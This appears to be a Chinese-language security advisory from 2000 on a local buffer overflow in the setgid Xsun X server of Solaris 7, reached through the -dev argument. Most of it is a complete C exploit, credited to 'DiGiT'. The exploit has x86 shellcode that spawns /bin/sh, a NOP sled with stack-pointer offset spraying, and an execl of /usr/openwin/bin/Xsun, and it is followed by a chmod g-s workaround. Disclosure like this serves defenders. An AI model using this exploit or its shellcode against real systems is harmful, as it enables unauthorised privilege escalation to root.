发布日期：2000-04-26
更新日期：2000-04-26

受影响系统：

Sun Solaris 7.0_x86
Sun Solaris 7.0 SPARC

描述：

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Solaris 7的X11服务程序Xsun存在一个缓冲区溢出漏洞，它的-dev参数是用来设置Xwindow
输出的设备的，但当给它输入一个很长的参数时，将可能使Xsun以root组权限执行任意代码。
攻击者可能利用root组权限进一步获得root用户的权限。


<* 来源：Theodor Ragnar Gislason <teddi@linux.is> *>


测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
*
* Solaris 7 Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
*
* Discovered/sploited By DiGiT - teddi@linux.is
*
* Greets: #!ADM, #!security.is
*/


#include <stdio.h>
#include <stdlib.h>


// Generic solaris x86 shellcode by cheeze wizz


char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";


long get_esp() { __asm__("movl %esp,%eax"); }


int main(int argc, char *argv[]) {


  char buff[5000];
  int nopcount=2001, bsize=4000, offset=1850;
  int i;


  if (argc > 1) nopcount = atoi(argv[1]);
  if (argc > 2) bsize = atoi(argv[2]);
  if (argc > 3) offset = atoi(argv[3]);
        memset (buff, 0x90, bsize);


                for (i = nopcount; i < bsize - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;


        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
        (shellcode));


            memcpy (buff, ":", 1);


         printf("Oh boy. DiGiT presents r00t\n");


         execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);


}


建议：

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临时解决方法： chmod g-s `which Xsun`

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